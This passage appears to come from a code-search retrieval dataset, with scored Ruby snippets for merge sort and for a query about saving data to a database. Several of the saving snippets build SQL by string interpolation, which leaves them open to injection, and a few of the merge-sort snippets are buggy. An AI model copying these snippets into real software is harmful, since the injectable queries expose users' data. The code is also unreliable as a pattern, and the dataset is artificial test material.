arr\n left_arr = arr[0..((arr.length / 2 ) - 1)]\n left_sorted = merge_sort(left_arr)\n \n # sort right half of arr\n right_arr = arr[(arr.length / 2)..-1]\n right_sorted = merge_sort(right_arr)\n \n # merge\n merge_array(left_sorted, right_sorted)\nend", "title": "" }, { "docid": "ddb94eb7754e740288e03941936e57e7", "score": "0.69215953", "text": "def merge_sort(arr)\n return arr if arr.length <= 1\n mid = arr.length / 2\n\n left = merge_sort(arr.take(mid))\n right = merge_sort(arr.drop(mid))\n merge(left, right)\nend", "title": "" }, { "docid": "8da5e8126e44200920c71ec9726fd623", "score": "0.69180954", "text": "def merge_sort(ary)\n if ary.size == 1\n return ary\n end\n\n mid = ary.count / 2\n\n part_a = merge_sort(ary[0...(ary.size/2)])\n part_b = merge_sort(ary[(ary.size/2)..-1])\n\n # 2. Conquer\n array = []\n offset_a = 0\n offset_b = 0\n while offset_a < part_a.count && offset_b < part_b.count\n a = part_a[offset_a]\n b = part_b[offset_b]\n\n # Take the smallest of the two, and push it on our array\n if a <= b\n array << a\n offset_a += 1\n else\n array << b\n offset_b += 1\n end\n end\n\n # There is at least one element left in either part_a or part_b (not both)\n while offset_a < part_a.count\n array << part_a[offset_a]\n offset_a += 1\n end\n\n while offset_b < part_b.count\n array << part_b[offset_b]\n offset_b += 1\n end\n\n return array\nend", "title": "" }, { "docid": "8b02aff90fe6dbb436b6ae68519aec3e", "score": "0.6918055", "text": "def merge_sort(array)\n return array if array.length < 2\n mid = array.length / 2\n sleft = merge_sort(array.take(mid))\n sright = merge_sort(array.drop(mid))\n merge(left, right)\nend", "title": "" }, { "docid": "ad261883b0f50bee134b0e2853f49839", "score": "0.6915229", "text": "def merge(left, right)\n final_sort = [] \n # Make comparison while we have two subarrays with elements\n while !left.empty? && !right.empty?\n # compare the first elements of the left & right subarrays\n # if the first element of the left is larger or equal, remove it from the left array and place it in the final_sort array\n if left.first <= right.first\n final_sort << left.shift\n else\n # if the previous condition failed, then remove the first element of the right array and put it in the final_sort array\n final_sort << right.shift\n end\n end\n # if there is a remaining single element combine it with the final_sort array\n final_sort.concat(left).concat(right)\nend", "title": "" }, { "docid": "853e2e0b1909ea3ff853f3b719534604", "score": "0.6911948", "text": "def autionEndMergesortAs(items)\n return items if items.size <= 1\n mid = items.size/2\n left = items[0, mid]\n right = items[mid, items.size]\n autionEndMergeAs(autionEndMergesortAs(left), autionEndMergesortAs(right))\n end", "title": "" }, { "docid": "974c759c26718c8de540857c16686057", "score": "0.69092387", "text": "def merge_sort(arr)\n\treturn arr if arr.length < 2\n\tleft = arr.slice(0...arr.length/2)\n\tright = arr.slice(arr.length/2..-1)\n\tmerge_sort(left)\n\tmerge_sort(right)\n\tr = l = k = 0\n\twhile l < left.length && r < right.length do\n\t\tif left[l] > right[r]\n\t\t\tarr[k] = right[r]\n\t\t\tr += 1\n\t\telse\n\t\t\tarr[k] = left[l]\n\t\t\tl += 1\n\t\tend\n\t\tk += 1\n\tend\n\twhile l < left.length do\n\t\tarr[k] = left[l]\n\t\tl += 1\n\t\tk += 1\n\tend\n\twhile r < right.length do\n\t\tarr[k] = right[r]\n\t\tr += 1\n\t\tk += 1\n\tend\n\tarr\nend", "title": "" }, { "docid": "1e49adf11596bc15097b06de2efb1fc1", "score": "0.6905727", "text": "def merge_sort(arr)\n return arr if arr.length == 1\n merge(merge_sort(arr.slice(0, arr.length/2)),\n merge_sort(arr.slice(arr.length/2, arr[-1])))\nend", "title": "" } ]
aa63e62fb6057b7cd0bdc4e0dc8d68e3
Save data to RDB
[ { "docid": "9858b7d6e940a43f8196dd8b2ef7e7d3", "score": "0.0", "text": "def save(data)\n url = data[:url]\n message = data[:message]\n key = message[:key] || url\n response = data[:response]\n headers = response.headers\n body = response.body\n Page.create(url: url,\n key: key,\n headers: JSON.generate(headers),\n body: body,\n last_modified_at: headers[\"last-modified\"],\n etag: headers[\"etag\"])\n end", "title": "" } ]
[ { "docid": "4c3f875be05bae6500a11eab5c0d0bf0", "score": "0.7466411", "text": "def save\n @backend.write_db(@name)\n\n self\n end", "title": "" }, { "docid": "f5650de46c00191012b842ec1426af9c", "score": "0.73108894", "text": "def save\n File.open( @dbname, \"w\" ) do |f|\n f.write( @db.to_json )\n end\n end", "title": "" }, { "docid": "cb9511671aebb7ca1141166958ac5791", "score": "0.72845775", "text": "def save(*args)\n @_dbdata.marshal_dump(*args)\n end", "title": "" }, { "docid": "7bec57e8f17b522907c2c24ebac2a8f6", "score": "0.7215761", "text": "def save ; end", "title": "" }, { "docid": "7bec57e8f17b522907c2c24ebac2a8f6", "score": "0.7215761", "text": "def save ; end", "title": "" }, { "docid": "3832ba0da8fba225c5af1cd1bf15f4c6", "score": "0.7053896", "text": "def save_to_db\n CSV.open(@@TOYDATABASE, 'ab') do |csv|\n csv << [@id, @brand, @name, @price]\n end\n end", "title": "" }, { "docid": "e2112f8f8241856efba245d9ad42e6b6", "score": "0.70438653", "text": "def save_changes\n File.open(@path_to_db, 'w') do |f|\n refresh_hash_in_head\n\n f.write(jsonified_data)\n end\n end", "title": "" }, { "docid": "1d415891afb3aa6c11f8802cbbfcb3ef", "score": "0.7040714", "text": "def save(data)\n ScraperWiki.save_sqlite(unique_keys=UNIQUE_KEYS, data)\nend", "title": "" }, { "docid": "1d415891afb3aa6c11f8802cbbfcb3ef", "score": "0.7040714", "text": "def save(data)\n ScraperWiki.save_sqlite(unique_keys=UNIQUE_KEYS, data)\nend", "title": "" }, { "docid": "88e211a2c3249f2637fae9962a4c1574", "score": "0.69990355", "text": "def save_to_database(data)\n\t\tdata_file = CONFIG[ENVIRONMENT][:database]\n\t\tbegin\n\t\t\tputs \">> Saving data to #{@data_file} <<\"\n\t\t\toriginal_data = load()\n\n\t\t\tFile.new(data_file, 'w') unless File.exists? data_file\n\t\t\tFile.open(data_file, 'w') do |f|\n\t\t\t\tf.write(JSON.generate(data))\n\t\t\tend\n\t\t\ttrue\n\t\trescue\n\t\t\tfalse\n\t\tend\n\tend", "title": "" }, { "docid": "b46df3b61587b57fc9520be4addc008a", "score": "0.6990801", "text": "def save\n # Build a String of SQL, that will insert all the attributes into the persons table\n\n # Execute the SQL on the @@db object\n end", "title": "" }, { "docid": "d0f9aea2036e76d613b76aad8050ffaf", "score": "0.6975617", "text": "def save(*args)\n save_sqlite(*args)\n end", "title": "" }, { "docid": "d2ccf2c03b3072f0fe5a595e20b3d4c5", "score": "0.6935339", "text": "def save()\n # connect to the database\n db = PG.connect({dbname: 'bounty_tracker', host: 'localhost'})\n # write INSERT sql\n sql = \"INSERT INTO bounties (name, species, value, last_location) VALUES ($1, $2, $3, $4) RETURNING id \"\n # create a values array for exec_prepared statement\n values = [@name, @species, @value, @last_location]\n # prepare the statement\n db.prepare(\"save\", sql)\n # run the prepared statement\n @id = db.exec_prepared(\"save\", values)[0][\"id\"].to_i\n # close the db\n db.close()\n end", "title": "" }, { "docid": "0b5693baf8925262701c779caf4604c9", "score": "0.6934977", "text": "def save\n # Build a String of SQL, that will insert all the attributes into the persons table\n\n # Execute the SQL on the @@db object \n end", "title": "" }, { "docid": "8a7dfb9f9bed2925c6982b0329020328", "score": "0.6918788", "text": "def save\n robject.data = attributes\n robject.store\n end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6905159", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6905159", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6905159", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6905159", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6905159", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6905159", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6905159", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6905159", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6905159", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6905159", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6905159", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6905159", "text": "def save; end", "title": "" }, { "docid": "e8af8e216821b936b27fe4e3e2d106ff", "score": "0.6905159", "text": "def save; end", "title": "" }, { "docid": "333b2b354627eeb85cc40dc9cf286696", "score": "0.68950254", "text": "def save\n commit(false)\n end", "title": "" }, { "docid": "7e9e4d99e6622777a9c29f5e003cf26d", "score": "0.6873592", "text": "def save_db\n db_fp = File.open(@db_address, \"w\")\n @db.each do |task|\n db_fp.write(task.to_s + \"\\n\")\n end\n db_fp.close\n end", "title": "" }, { "docid": "a3bde47495dda22107fbe893e66ebd03", "score": "0.68710005", "text": "def save\r\n #TODO\r\n end", "title": "" }, { "docid": "7f6188316badaeb73b93e65e7a6dc9d2", "score": "0.6858369", "text": "def save\n File.open(@dbfile,'w') do |f|\n YAML::dump(@db.values,f)\n end\n end", "title": "" }, { "docid": "54df357e1223da847873fc0babe4b57b", "score": "0.68519247", "text": "def save!\n # Build the `SET foo = 'bar', ...` string for the UPDATE query.\n data_hash = @data.to_h\n # Remove the primary key (id) from the SET attributes.\n data_hash.delete(:id)\n\n if @id # Updating existing values.\n set_attrs = data_hash.map { |k, v| \"#{k} = '#{v}'\" }.join(', ')\n save_query = \"UPDATE #{@table} SET #{set_attrs} WHERE id = #{@id}\"\n else # Creating a new row.\n if data_hash.empty?\n save_query = \"INSERT INTO #{@table} DEFAULT VALUES\"\n else\n columns = data_hash.keys.join(', ')\n values = data_hash.map { |_, v| \"'#{v}'\" }.join(', ')\n save_query = \"INSERT INTO #{@table} (#{columns}) VALUES (#{values})\"\n end\n end\n\n result = @connection.exec(save_query)\n\n if result.result_status == PG::Constants::PGRES_COMMAND_OK\n # Initial write (no rows exist), so we have to set @id.\n if result.cmd_status.split[0] == 'INSERT'\n @connection.exec(\"SELECT id FROM #{@table}\") do |result|\n result.each { |row| @id = row['id'] }\n end\n\n fetch_data!\n end\n\n true\n else\n false\n end\n end", "title": "" }, { "docid": "5563c6bb3beb6d8ecd0c3e5d13af8327", "score": "0.6837182", "text": "def save!\n connection.protocol::DbCreate.new(params).process(connection)\n end", "title": "" }, { "docid": "da35f6e7d0e7d762db0066dbbba96f82", "score": "0.68248504", "text": "def save\n if self.id\n self.update\n #nothing for now\n else\n #may want to search if there is an existing version of it in the DB first\n #then just write it - below is db writing code assuming didn't find another one in the db first. \n sql_save_to_db = <<-SQL\n INSERT INTO dogs (name, breed) VALUES (?, ?);\n SQL\n \n DB[:conn].execute(sql_save_to_db, self.name, self.breed)\n \n @id = DB[:conn].execute(\"SELECT last_insert_rowid() FROM dogs;\")[0][0]\n self\n end\n end", "title": "" }, { "docid": "ad3ec7ffe738a5425ac89993dcf186d7", "score": "0.6820693", "text": "def save\n self.class.database.set(self)\n end", "title": "" }, { "docid": "267a8730b3269f2aac2b22a61ef3619d", "score": "0.6813187", "text": "def save(object)\n @id += 1\n open_db('a+') do |file|\n file << serialize(@id, object)\n end\n @id\n end", "title": "" }, { "docid": "df8d4ea36133ecd7e8c13e0642052f7b", "score": "0.67886627", "text": "def save\n self.id = klass.generate_identifier unless persisted? || id\n save_graph = RDF::Graph.new\n fill_save_graph save_graph\n Db.insert_data( save_graph , :graph => klass.object_graph )\n persist!\n end", "title": "" }, { "docid": "c8892d6d357920c929dd3c5d645a9ad2", "score": "0.6787061", "text": "def save\n _set_id\n\n return false if _id.nil?\n\n self.class._database.backend.write_record(\n self.class._database.name,\n self.class._collection.name,\n _filename,\n @data.to_json\n )\n\n self\n end", "title": "" }, { "docid": "8afc425a326503a1b1e195dba481ba53", "score": "0.678326", "text": "def save(*data)\n persist *data\n end", "title": "" }, { "docid": "34f510cc81fb4e7236fae7c011d3f12f", "score": "0.6779112", "text": "def flushdb; end", "title": "" }, { "docid": "f3f9d04058e2c54b0ed0a248dd51ba74", "score": "0.6777028", "text": "def save\n mykey = db_key\n\t\t\t\tif (_id)\n\t\t\t\t\treturn db_update_all\n\t\t\t\telse\n\t\t\t\t\treturn db_insert\n\t\t\t\tend\n end", "title": "" }, { "docid": "ecf756394a3873af036febf9fc427ec9", "score": "0.6769528", "text": "def save()\n db = PG.connect({dbname: 'estate_agent', host: 'localhost'})\n sql = \"INSERT INTO properties\n (address,\n value,\n number_of_bedrooms,\n year_built)\n VALUES\n ($1, $2, $3, $4)\n RETURNING *;\"\n values = [@address, @value, @number_of_bedrooms, @year_built]\n db.prepare(\"save\", sql)\n @id = db.exec_prepared(\"save\", values)[0]['id'].to_i\n db.close()\n end", "title": "" }, { "docid": "005105a7e8eda63066432418a2cb1e83", "score": "0.67564714", "text": "def __save_on_database(db, t)\n t.rubyrel_catalog.base_relvars << __to_catalog_tuple\n each_attribute{|a| a.__save_on_database(db, t)}\n end", "title": "" }, { "docid": "98f9547b8204dbb3ad9bfe7256593487", "score": "0.6755276", "text": "def saveData(data)\n data.each do |item|\n record = {\n Id: item.id,\n Link: item.link,\n Title: item.title,\n Price: item.price,\n Address: item.address,\n House: item.house,\n CreatedAt: item.createdAt,\n MapUrl: item.mapUrl,\n ImageUrl: item.imageUrl\n }\n ScraperWiki.save_sqlite([:Id], record)\n end\nend", "title": "" }, { "docid": "98f9547b8204dbb3ad9bfe7256593487", "score": "0.6755276", "text": "def saveData(data)\n data.each do |item|\n record = {\n Id: item.id,\n Link: item.link,\n Title: item.title,\n Price: item.price,\n Address: item.address,\n House: item.house,\n CreatedAt: item.createdAt,\n MapUrl: item.mapUrl,\n ImageUrl: item.imageUrl\n }\n ScraperWiki.save_sqlite([:Id], record)\n end\nend", "title": "" }, { "docid": "95d131fe79000d280a71c5d0e9e0e106", "score": "0.67443293", "text": "def save(args)\n savedata = args.select { |k, _| columns.include?(k) }\n savedata[:created] = Time.now if columns.include?(:created)\n nums = 1.upto(savedata.size).map { |i| \"$#{i}\" }.join(', ')\n sql = \"INSERT INTO #{@table} (#{savedata.keys.join(', ')}) \"\\\n \"VALUES (#{nums}) returning id;\"\n exec_params(sql, savedata.values)\n end", "title": "" }, { "docid": "cfd9829ecbb3efb0fd28fe771b815859", "score": "0.67202497", "text": "def save_db\n db_fp = File.open(@u_db_address, \"w\")\n @db.each do |user|\n db_fp.write(user.to_s + \"\\n\")\n end\n db_fp.close\n end", "title": "" }, { "docid": "37d84cf081ecc2ce4257405ad958b162", "score": "0.67165303", "text": "def command_save\n \t#save fdb & log\n\t@database.save\n\t@log.save\n end", "title": "" }, { "docid": "a4a96154eb22d93f8763a20de0574349", "score": "0.6714896", "text": "def save\n table_name = self.class.to_s.pluralize.underscore\n \n hash = {}\n self.instance_variables.each {|var| hash[var.to_s.delete(\"@\")] = self.instance_variable_get(var) }\n hash.delete(\"id\")\n hash.delete(\"errors\")\n sql_hash = hash.to_s.delete \"\\>\"\n\n CONNECTION.execute(\"UPDATE '#{table_name}' SET #{sql_hash[1...-1]} WHERE id = ?;\", @id)\n \"Saved.\"\n end", "title": "" }, { "docid": "5a0efd92bb4eb0859c14626575374063", "score": "0.6712049", "text": "def save\n\n end", "title": "" }, { "docid": "1edce9cd163c852ff9c13a01a53a8a26", "score": "0.6710968", "text": "def save\n query_string = \"UPDATE songs SET title = '#{title}', artist = '#{artist}', genre_id = #{genre_id}, status_id = #{status_id}, desire_level = #{desire_level} WHERE id = #{song_id};\"\n CONNECTION.execute(query_string)\n end", "title": "" }, { "docid": "4a5c8c2e804f4a6365032fe625688433", "score": "0.6703101", "text": "def save\n # both create and update\n # tell the DB to save all of the info for this instance\n # @id, @name, @age, @specialty and give it to the DB\n puts 'Inserting into DB.....'\n # DB.execute('run a query here')\n puts 'asking DB for last id'\n puts 'giving that id to the instance'\n end", "title": "" }, { "docid": "fe1054f940fde59ce836011587eb1224", "score": "0.6695174", "text": "def save\n dirstate.write\n end", "title": "" }, { "docid": "78c8b451ec3ac26ef83da20bd1062caf", "score": "0.6692707", "text": "def save\n # iterate over each instance variable and insert create row to table\n\t\t\t\tobj = self.object #self.inst_strip_braces(self.object)\n\t\t\t\tnSrcID = self.get_inst_source_id\n db = ::Rho::RHO.get_src_db(get_inst_source_name)\n db_partition = Rho::RhoConfig.sources[get_inst_source_name]['partition'].to_s\n\t\t\t\ttableName = is_inst_schema_source() ? get_inst_schema_table_name() : 'object_values'\n\t\t\t\tisSchemaSrc = is_inst_schema_source()\n\n #call create if item does not exists\n is_new_item = false\n begin\n db.lock_db()\n if isSchemaSrc\n existing_attribs = db.execute_sql(\"SELECT object FROM \\\"#{tableName}\\\" WHERE object=? LIMIT 1 OFFSET 0\",obj)\n else\n existing_attribs = db.execute_sql(\"SELECT object FROM \\\"#{tableName}\\\" WHERE object=? AND source_id=? LIMIT 1 OFFSET 0\",obj,nSrcID)\n end\n\n unless existing_attribs && existing_attribs.length > 0\n is_new_item = true\n create();\n end\n\n db.unlock_db\n rescue Exception => e\n puts 'save Exception: ' + e.inspect\n db.unlock_db\n\n raise\n end\n\n\t\t\t\treturn if is_new_item\n\n begin\n db.start_transaction\n\n update_type = 'update'\n ignore_changed_values = true\n resUpdateType = nil\n if is_inst_sync_source()\n resUpdateType = db.select_from_table('changed_values', 'update_type', {\"object\"=>obj, \"source_id\"=>nSrcID, 'sent'=>0})\n update_type = resUpdateType[0]['update_type'] if resUpdateType && resUpdateType.length > 0\n ignore_changed_values = update_type=='create'\n\n #if is_inst_full_update\n # unless resUpdateType && resUpdateType.length > 0\n # db.insert_into_table('changed_values', {\"source_id\"=>nSrcID, \"object\"=>obj, \"attrib\"=>'object', \"value\"=>\"\", \"update_type\"=>update_type})\n # end\n # ignore_changed_values = update_type=='update'\n #end\n end\n\n self.vars.each do |key_a,value|\n key = key_a.to_s\n next if ::Rhom::RhomObject.method_name_reserved?(key)\n\n val = value.to_s #self.inst_strip_braces(value.to_s)\n\n # add rows excluding object, source_id and update_type\n fields = {\"source_id\"=>nSrcID,\n \"object\"=>obj,\n \"attrib\"=>key,\n \"value\"=>val,\n \"update_type\"=>update_type}\n fields = is_blob_attrib(db_partition, nSrcID, key) ? fields.merge!({\"attrib_type\" => \"blob.file\"}) : fields\n resValue = nil\n if isSchemaSrc\n resValue = db.select_from_table(tableName, key, {\"object\"=>obj})\n else\n resValue = db.select_from_table(tableName, 'value', {\"object\"=>obj, \"attrib\"=>key, \"source_id\"=>nSrcID})\n end\n\n if resValue && resValue.length > 0\n\n isModified = false\n\n #if is_inst_full_update\n # isModified = true\n #else\n oldValue = isSchemaSrc ? resValue[0][key] : resValue[0]['value']\n\n isModified = oldValue != val\n if isModified && val && oldValue.nil? && val.to_s().length == 0\n isModified = false\n end\n if isModified && oldValue && val.nil? && oldValue.to_s().length == 0\n isModified = false\n end\n #end\n\n if isModified\n\n unless ignore_changed_values\n resUpdateType = db.select_from_table('changed_values', 'update_type', {\"object\"=>obj, \"attrib\"=>key, \"source_id\"=>nSrcID, 'sent'=>0})\n if resUpdateType && resUpdateType.length > 0\n db.update_into_table('changed_values', {\"value\"=>val}, {\"object\"=>obj, \"attrib\"=>key, \"source_id\"=>nSrcID})\n else\n db.insert_into_table('changed_values', fields)\n end\n\n end\n\n if isSchemaSrc\n db.update_into_table(tableName, {key=>val}, {\"object\"=>obj})\n else\n db.update_into_table(tableName, {\"value\"=>val}, {\"object\"=>obj, \"attrib\"=>key, \"source_id\"=>nSrcID})\n end\n end\n else\n db.insert_into_table('changed_values', fields) unless ignore_changed_values\n fields.delete(\"update_type\")\n fields.delete(\"attrib_type\")\n\n if isSchemaSrc\n db.insert_into_table(tableName, {key=>val, \"object\"=>obj})\n else\n db.insert_into_table(tableName, fields)\n end\n end\n\n end\n db.commit\n\n rescue Exception => e\n puts 'save Exception: ' + e.inspect\n db.rollback\n\n raise\n end\n\n true\n end", "title": "" }, { "docid": "668dfe44cd50efdd482f0e6876e78eef", "score": "0.6690019", "text": "def save\n success = @class_name.save_data_to_db(params[:data])\n head 200 and return if success\n head 511\n end", "title": "" }, { "docid": "4bef560cbf1df56cf46a2491a1d56484", "score": "0.6679932", "text": "def save\n _save(true)\n end", "title": "" }, { "docid": "db73034abad910b275064dcc42fb0f69", "score": "0.66790134", "text": "def save(db)\n db.execute 'INSERT INTO repetitions (distance, effort, work_interval, rest_interval) VALUES (?, ?, ?, ?)', [@distance, @effort, @work_interval, @rest_interval]\n end", "title": "" }, { "docid": "e554fa81bae2d08e99de71f658ccd85d", "score": "0.66645813", "text": "def save\n _save\n end", "title": "" }, { "docid": "5ee1d686842747e9b82b019bdc52cab6", "score": "0.6660689", "text": "def save\n \tsql = \"INSERT INTO #{table_name_for_insert} (#{col_names_for_insert}) VALUES (#{values_for_insert})\"\n \tDB[:conn].execute(sql)\n\n \t@id = DB[:conn].execute(\"SELECT last_insert_rowid()\")[0][0]\n end", "title": "" }, { "docid": "61b120a009a9c0a033e0370e2c881305", "score": "0.6634366", "text": "def save\n end", "title": "" }, { "docid": "61b120a009a9c0a033e0370e2c881305", "score": "0.6634366", "text": "def save\n end", "title": "" }, { "docid": "499839a4b15ac24935802cbaf07f58d0", "score": "0.66059506", "text": "def save\n sql = \"INSERT INTO #{table_name_for_insert} (#{col_names_for_insert}) VALUES (#{values_for_insert})\"\n DB[:conn].execute(sql)\n @id = DB[:conn].execute(\"SELECT last_insert_rowid() FROM #{table_name_for_insert}\")[0][0]\n end", "title": "" }, { "docid": "e14a95a206af0c816976dd0e2976b8b9", "score": "0.6595267", "text": "def save\n\n sql = DB[:conn].execute(\"INSERT INTO students (name, grade) VALUES (?, ?)\", name, grade)\n\n value = DB[:conn].execute(\"SELECT id FROM students ORDER BY ID DESC LIMIT 1;\").flatten\n @id = value[0][0]\n binding.pry\n # INSERT INTO Student name, grade VALUES (?, ?)\n # DB[:conn].execute(sql, self.name, self.album)\nend", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.6592289", "text": "def save\n end", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.6592289", "text": "def save\n end", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.6592289", "text": "def save\n end", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.6592289", "text": "def save\n end", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.6592289", "text": "def save\n end", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.6592289", "text": "def save\n end", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.6592289", "text": "def save\n end", "title": "" }, { "docid": "f4ca7c331218635f65035f93a3c9e5a1", "score": "0.6592289", "text": "def save\n end", "title": "" }, { "docid": "a61950dbd08dd91b9963384997cb8d42", "score": "0.65870935", "text": "def save(record)\n @db.put_item(table_name: record.table, item: record.items)\n end", "title": "" }, { "docid": "57bc27905c3ff94df1b8d2137c4b4093", "score": "0.65860075", "text": "def save\n connection.save_row(table, self)\n end", "title": "" }, { "docid": "99b1ab7c63d7488e5e43d61dad9d1007", "score": "0.6582997", "text": "def save\n @data = Time.now\n @processo = Process.pid.to_s\n sql = \"INSERT INTO histories (created_at, process, message) values (?, ?, ?)\"\n Banco.instance.db_connect.do(sql, StrTime.timestamp(@data), @processo, @mensagem)\n end", "title": "" }, { "docid": "32f4f542d85ae4e301a94493ec29eb3e", "score": "0.6576524", "text": "def save\n persist!\n end", "title": "" }, { "docid": "46f6cdbcb5ff50316648ca7784309ef8", "score": "0.6573464", "text": "def save\n end", "title": "" }, { "docid": "45b37b20763fad21f0988fb17d73ed23", "score": "0.6573407", "text": "def save\n attributes = []\n \n instance_variables.each do |i|\n attributes << i.to_s.delete(\"@\") if i != :@table\n end\n \n query_components_array = []\n \n attributes.each do |a|\n value = self.send(a)\n \n if value.is_a?(Integer)\n query_components_array << \"#{a} = #{value}\"\n else\n query_components_array << \"#{a} = '#{value}'\"\n end\n end\n \n query_string = query_components_array.join(\", \")\n # name = 'Sumeet', age = 75, hometown = 'San Diego'\n\n DATABASE.execute(\"UPDATE #{@table} SET #{query_string} WHERE id = #{id}\")\n end", "title": "" }, { "docid": "84a61174f12ec93a202a1106f3242473", "score": "0.6561194", "text": "def save_form_data_to_database\n\tdb = get_db\n\tdb.execute 'insert into Users \n\t\t (\n\t\t\t username,\n\t\t\t phone,\n\t\t\t datestamp,\n\t\t\t barber,\n\t\t\t color \n\t\t )\n\t\t values ( \t?, ?, ?, ?, ? )', [@user_name, @user_phone, @user_date_time, @choose_hairdresser, @colorpicker]\n\tdb.close\t\t \nend", "title": "" }, { "docid": "cfd27ff57a5d3ff580ad62120a7294bd", "score": "0.6559776", "text": "def save_db(filename)\n saveDB(filename)\nend", "title": "" }, { "docid": "530cc988043757cd80cd9bc549fb29d9", "score": "0.65568733", "text": "def save\n sql = \"INSERT INTO #{table_name_for_insert} (#{col_names_for_insert}) VALUES (#{values_for_insert})\"\n DB[:conn].execute(sql)\n self.id = DB[:conn].execute(\"SELECT last_insert_rowid()\")[0][0]\n end", "title": "" }, { "docid": "0881cddf4797b53e70857b09a09fa7fc", "score": "0.6555385", "text": "def save\n # 各テーブルにデータを保存する処理を書く\n # 購入者情報を保存\n\n purchase = Purchase.create(item_id: item_id, user_id: user_id)\n # 住所の情報を保存\n # binding.pry\n Street.create(phone_number: phone_number, post_code: post_code, adress: adress, municipal_district: municipal_district, building: building, prefecture_id: prefecture_id, purchase_id: purchase.id)\n end", "title": "" }, { "docid": "b27f9e051b8a4795bc5c66a851e2be05", "score": "0.65545803", "text": "def save()\n connect() unless @statement\n @statement.execute(self.app_id, self.experiment_id, self.variation_id)\n end", "title": "" }, { "docid": "f27a15735ba40d0dd402789072cdaeba", "score": "0.65526277", "text": "def save\n record.save\n end", "title": "" }, { "docid": "7293d3b338adad1493795a9b3b7a773e", "score": "0.6547513", "text": "def save\n columns = (self.class.columns_hash.values.map(&:column_name) - ['id'])\n values = columns.map { |column| self.send(column) }\n \n if self.persisted?\n query = columns.map.with_index(2) { |column, index| \"#{column} = $#{index}\" }.join(', ')\n self.class.connection.exec(\"UPDATE #{self.class.table_name} SET #{query} WHERE id = $1\", [self.id] + values)\n else\n query = '(' + columns.join(', ') + ') VALUES '\n query << '(' + (1..columns.size).map { |index| \"$#{index}\" }.join(', ') + ')'\n self.class.connection.exec(\"INSERT INTO #{self.class.table_name} #{query}\", values)\n @persisted = true\n end\n end", "title": "" }, { "docid": "13fb013d062fde00436015ff94c0b0ab", "score": "0.65460336", "text": "def __save_on_database(db, t)\n t.rubyrel_catalog.candidate_keys << __to_catalog_tuple\n t.rubyrel_catalog.candidate_key_attributes << attributes.collect{|a|\n {:namespace => relvar.namespace.name, \n :relvar => relvar.name, \n :key => name,\n :attribute => a.name} \n }\n end", "title": "" }, { "docid": "28edf831e03cb79e9025977797c5d871", "score": "0.6516443", "text": "def save\n sql_column_names = self.to_h.keys.join(\", \")\n values = self.to_h.values.map {|value| \"'#{value}'\"}.join(', ')\n #=> ['Abraham', 'kurenn...']\n \n self.class.connection.exec(\"INSERT INTO #{self.class.table_name} (\n #{sql_column_names})\n VALUES (#{values})\")\n self\n end", "title": "" }, { "docid": "d4608cf9f45dafcaf6f5ef874cdd2a4e", "score": "0.65120673", "text": "def save!\r\n end", "title": "" }, { "docid": "c9584bff3624f8ea714cb0237a667edf", "score": "0.6508283", "text": "def save!; end", "title": "" }, { "docid": "619f3da98cde8e178f2cb0973798acce", "score": "0.6502073", "text": "def save\n save_data self.to_hash\n self\n end", "title": "" }, { "docid": "304ad6098d006c8702bb005a8d301784", "score": "0.6502036", "text": "def toDB\n # @datafiles.each {|dfid, df| df.check_errors unless df.save }\n unless @int_entity.save\n @int_entity.check_errors \n raise \"error in saving int entity, no validation error found\"\n end\n\n unless @package.save\n raise \"error in saving package #{@package}\"\n end\n \n # explicitly saving the dependencies.\n @events.each {|id, e| raise \"error saving event records #{e.inspect}\" unless e.save }\n @relationships.each {|rel| raise 'error saving relationship records' unless rel.save }\n end", "title": "" }, { "docid": "31ad67742e88657a1f6f95baa48ed8bb", "score": "0.6491418", "text": "def persist!\n File.open(db_file, 'w+') do |f|\n Marshal.dump(self, f)\n end\n end", "title": "" }, { "docid": "db1de2ae4ad59e2d902e9efd5a5e19c9", "score": "0.6490155", "text": "def save\n sql = \"INSERT INTO #{table_name_for_insert} (#{col_names_for_insert}) VALUES (#{values_for_insert})\"\n DB[:conn].execute(sql)\n @id = DB[:conn].execute(\"SELECT last_insert_rowid() FROM #{table_name_for_insert}\")[0][0]\n end", "title": "" }, { "docid": "db1de2ae4ad59e2d902e9efd5a5e19c9", "score": "0.6490155", "text": "def save\n sql = \"INSERT INTO #{table_name_for_insert} (#{col_names_for_insert}) VALUES (#{values_for_insert})\"\n DB[:conn].execute(sql)\n @id = DB[:conn].execute(\"SELECT last_insert_rowid() FROM #{table_name_for_insert}\")[0][0]\n end", "title": "" }, { "docid": "db1de2ae4ad59e2d902e9efd5a5e19c9", "score": "0.6490155", "text": "def save\n sql = \"INSERT INTO #{table_name_for_insert} (#{col_names_for_insert}) VALUES (#{values_for_insert})\"\n DB[:conn].execute(sql)\n @id = DB[:conn].execute(\"SELECT last_insert_rowid() FROM #{table_name_for_insert}\")[0][0]\n end", "title": "" }, { "docid": "db1de2ae4ad59e2d902e9efd5a5e19c9", "score": "0.6490155", 